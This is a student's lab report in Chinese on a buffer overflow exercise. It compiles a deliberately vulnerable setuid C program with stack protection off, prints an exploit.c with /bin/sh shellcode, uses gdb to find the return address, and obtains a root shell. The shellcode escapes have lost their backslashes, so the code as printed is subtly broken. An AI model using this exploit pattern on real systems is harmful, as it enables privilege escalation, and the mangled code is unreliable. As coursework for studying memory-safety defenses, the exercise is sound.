• 2018-2019-1 20165230《信息安全系统设计基础》实验一 缓冲区溢出漏洞实验


    实验目的。

    学习体验使用程序缓冲区溢出漏洞改变程序流控制,了解缓冲区漏洞的机理等。

    实验环境配置:

    输入命令安装一些用于编译32位C程序的软件包

    $ sudo apt-get update
    
    $ sudo apt-get install -y lib32z1 libc6-dev-i386
    
    $ sudo apt-get install -y lib32readline-gplv2-dev
    

    初始设置

    1.关闭地址空间随机化功能。(此功能用于随机堆和栈的初始地址,使猜测准确的内存地址变得困难)
    sudo sysctl -w kernel.randomize_va_space=0

    2.为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权,不能在shell中保持root权限,这个防护措施在/bin/bash中实现。设置zsh程序

    $ sudo su
    $ cd /bin
    $ ln -s zsh sh
    $ exit
    

    3.输入“linux32”,进入32位linux环境,输入“/bin/bash”使用bash

    漏洞程序

    1. /tmp目录下新建一个stack.c文件
      2.stack.c代码:
    #include <stdlib.h>
     #include <stdio.h>
     #include <string.h>
    
     int bof(char *str)
     {
     char buffer[12];
     strcpy(buffer, str);
     return 1;
     }       
    
     int main(int argc, char **argv)
     {
      char str[517];
      FILE *badfile;
    
     badfile = fopen("badfile", "r");
     fread(str, sizeof(char), 517, badfile);//读取一个名为“badfile”的文件。
     bof(str);//将文件内容装入到buffer中
    
     printf("Returned Properly
    ");
     return 1;
     }
    

    3.编译过程:

    $ sudo su
    $ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    $ chmod u+s stack
    $ exit
    
    • -g 参数是为了使编译后得到的可执行文档能用gdb调试
    • GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用-fno-stack-proteck关闭用来阻止缓存区溢出的栈保护机制,-z execstack用于允许执行栈

    攻击

    1. /tmp目录下新建一个exploit.c文件
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
    
      char shellcode[] =
      "x31xc0" //xorl %eax,%eax
      "x50"     //pushl %eax
      "x68""//sh" //pushl $0x68732f2f
      "x68""/bin"     //pushl $0x6e69622f
      "x89xe3" //movl %esp,%ebx
      "x50"     //pushl %eax
      "x53"     //pushl %ebx
      "x89xe1" //movl %esp,%ecx
      "x99"     //cdq
      "xb0x0b" //movb $0x0b,%al
      "xcdx80" //int $0x80
      ;
    
      void main(int argc, char **argv)
      {
          char buffer[517];
          FILE *badfile;
          memset(&buffer, 0x90, 517);
    
          /* You need to fill the buffer with     appropriate contents here */
          strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   
    
          strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
          badfile = fopen("./badfile", "w");
          fwrite(buffer, 517, 1, badfile);
          fclose(badfile);
      }
    
    • x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
    • strcpy(buffer+100,shellcode); 这句告诉我们,shellcode 保存在 buffer + 100 的位置。为了得到 shellcode 在内存中的地址,

    2.输入命令

      $gdb stack
      $disass main
    

    3.接着输入命令

    $b *起始地址下一行地址
    $r
    $i r $esp
    
    • 输入 r 后会Staring program
    • 输入 i r $esp会显示 str 地址
    • 然后按 q ,enter 退出调试
    • 根据语句 strcpy(buffer + 100,shellcode) 计算 shellcode 的地址;0xffffd060(十六进制) + 0x64(100的十六进制) = 0xffffd0c4(十六进制)
    • 修改exploit.c文件,将 x??x??x??x?? 修改为 xc4xd0xffxff

    4.编译 exploit.c 程序

    gcc -m32 -o exploit exploit.c
    

    5.运行攻击程序
    exploit,再运行漏洞程序 stack,观察结果:

    ./exploit
    ./stack
    

    6.输入whoami查看结果

    作业截图

    1. 输入$ sudo sysctl -w kernel.randomize_va_space=2打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。

    2. /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。

    实验中出现的问题及解决方法

    -问题1及解决方案:在编译stack.c程序时报错,检查程序后发现错误,将“(”错打为9,改正后编译成功
    -问题2及解决方案:运行攻击程序达到攻击目的后,发现无论在攻击程序exploit中怎么样改动返回地址总是能够获取root授权,这里的逻辑关系还不是很明白。

    总结

    本次实验虽然比较简单,但我还是遇到了各种各样的问题,反复做了很多很多遍才成功。这不仅提升了我的动手能力,也锻炼了我自己查找错误,解决问题的能力,同时让我对缓冲区溢出漏洞有了深一层次的理解,收获很多。

  • 相关阅读:
    [bzoj3694]最短路
    [bzoj3172][Tjoi2013]单词
    [bzoj2243][SDOI2011]染色
    [bzoj1036][ZJOI2008]树的统计Count
    [学习笔记]树链剖分
    [bzoj4552][Tjoi2016][Heoi2016]排序
    [51nod1515]明辨是非
    [51nod1685]第k大区间
    [日常训练]training
    BZOJ3811: 玛里苟斯
  • 原文地址:https://www.cnblogs.com/tiankunye/p/9787741.html
Copyright © 2020-2023  润新知